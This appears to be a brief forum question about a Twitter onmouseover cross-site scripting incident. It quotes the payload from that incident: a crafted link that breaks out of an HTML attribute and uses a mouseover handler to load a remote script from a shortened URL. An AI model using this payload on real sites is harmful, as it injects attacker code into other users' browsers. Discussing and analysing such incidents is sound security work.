Today's XSS onmouseover exploit on twitter.com

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Can you explain what exactly happened on Twitter today? Basically the exploit was causing people to post a tweet containing this link:

http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/

Is this technically an XSS attack or something else?

Here is how the Twitter home page looked like: http://www.flickr.com/photos/travelist/6832853140/

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